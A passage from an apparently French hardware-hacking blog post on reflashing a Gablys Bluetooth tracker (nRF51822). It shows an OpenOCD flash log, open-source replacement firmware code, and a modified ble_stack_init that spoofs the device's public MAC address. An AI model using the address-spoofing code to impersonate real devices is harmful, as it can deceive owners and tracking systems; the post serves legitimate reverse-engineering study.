Info : nRF51822-QFAA(build code: G2) 256kB Flash
Warn : using fast async flash loader. This is currently supported
Warn : only with ST-Link and CMSIS-DAP. If you have issues, add
Warn : &amp;quot;set WORKAREASIZE 0&amp;quot; before sourcing nrf51.cfg to disable it
target halted due to breakpoint, current mode: Thread
xPSR: 0x61000000 pc: 0x2000001e msp: 0x000007c0
wrote 12288 bytes from file _build/nrf51822_xxaa.hex in 0.589847s (20.344 KiB/s)
** Programming Finished **
** Verify Started **
target halted due to breakpoint, current mode: Thread
xPSR: 0x61000000 pc: 0x2000002e msp: 0x000007c0
verified 11944 bytes in 0.088029s (132.503 KiB/s)
** Verified OK **
&lt;/pre&gt;
&lt;p&gt;La programmation du SoftDevice et de l'application se sont bien déroulées, tout comme la vérification de la bonne écriture du code. De base, le CPU a été remis à zéro après la programmation, et si vous avez laissé votre Gablys connecté, celui-ci doit annoncer un périphérique BLE ressemblant à un &lt;em&gt;beacon&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Il est temps d'aller plus loin dans le code source, afin d'implémenter quelque chose d'utile !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Firmware opensource pour Gablys&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai profité de l'occasion pour développer un firmware opensource pour Gablys, réimplémentant les principaux services et leurs characteristics, et se comportant presque à l'identique. Le code source de ce firmware est &lt;a class="reference external" href="https://github.com/virtualabs/openlys"&gt;disponible sur Github&lt;/a&gt;. Ce dernier peut être compilé et flashé comme décrit précédemment.&lt;/p&gt;
&lt;p&gt;En pratique, les services propres au Gablys sont implémentés dans le fichier &lt;em&gt;gss/gss.c&lt;/em&gt;, dont la fonction &lt;em&gt;ble_gss_init&lt;/em&gt; a pour rôle la création et l'initialisation de l'ensemble de ces services et des characteristics associées. A noter l'astuce avec le SDK Nordic pour déclarer un service ayant un UUID sur 128 bits:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ble_uuid128_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m_btn_uuid128&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="mh"&gt;0x45&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="mh"&gt;0x96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x67&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4f&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* ... du code ici ... */&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Add Gablys Button service. */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ble_btn_uuid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uuid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GSS_BTN_SERVICE_UUID&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sd_ble_uuid_vs_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;m_btn_uuid128&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ble_btn_uuid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sd_ble_gatts_service_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLE_GATTS_SRVC_TYPE_PRIMARY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ble_btn_uuid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;p_gss&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;btn_service_handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NRF_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Enfin, la stack BLE est initialisée dans le fichier &lt;em&gt;main.c&lt;/em&gt;, grâce à la fonction &lt;em&gt;ble_stack_init&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ble_stack_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;nrf_clock_lf_cfg_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clock_lf_cfg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NRF_CLOCK_LFCLKSRC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Initialize the SoftDevice handler module.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SOFTDEVICE_HANDLER_INIT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;clock_lf_cfg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ble_enable_params_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;softdevice_enable_get_default_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CENTRAL_LINK_COUNT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="n"&gt;PERIPHERAL_LINK_COUNT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//Check the ram settings against the used number of links&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CHECK_RAM_START_ADDR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CENTRAL_LINK_COUNT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;PERIPHERAL_LINK_COUNT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Enable BLE stack.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sd_ble_enable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;app_ram_base&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;common_enable_params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vs_uuid_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;softdevice_enable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Register with the SoftDevice handler module for BLE events.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;softdevice_ble_evt_handler_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ble_evt_dispatch&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Register with the SoftDevice handler module for BLE events.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;softdevice_sys_evt_handler_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys_evt_dispatch&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;C'est d'ailleurs dans cette fonction que l'on peut rajouter du code permettant d'usurper une adresse MAC, comme ci-dessous:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ble_stack_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ble_gap_addr_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BLE_GAP_ADDR_TYPE_PUBLIC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xDE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;nrf_clock_lf_cfg_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clock_lf_cfg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NRF_CLOCK_LFCLKSRC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Initialize the SoftDevice handler module.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SOFTDEVICE_HANDLER_INIT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;clock_lf_cfg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ble_enable_params_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;softdevice_enable_get_default_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CENTRAL_LINK_COUNT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="n"&gt;PERIPHERAL_LINK_COUNT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//Check the ram settings against the used number of links&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CHECK_RAM_START_ADDR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CENTRAL_LINK_COUNT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;PERIPHERAL_LINK_COUNT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Enable BLE stack.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sd_ble_enable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;app_ram_base&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;common_enable_params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vs_uuid_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;softdevice_enable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ble_enable_params&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sd_ble_gap_address_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BLE_GAP_ADDR_CYCLE_MODE_NONE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Register with the SoftDevice handler module for BLE events.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;softdevice_ble_evt_handler_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ble_evt_dispatch&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Register with the SoftDevice handler module for BLE events.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;softdevice_sys_evt_handler_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys_evt_dispatch&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;APP_ERROR_CHECK&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err_code&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Une fois compilé et flashé, le nouvel équipement est visible avec l'adresse MAC DE:4D:15:C0:FE:FE, comme le montre l'exemple ci-dessous (testé avec l'exemple beacon et non le firmware opensource):&lt;/p&gt;
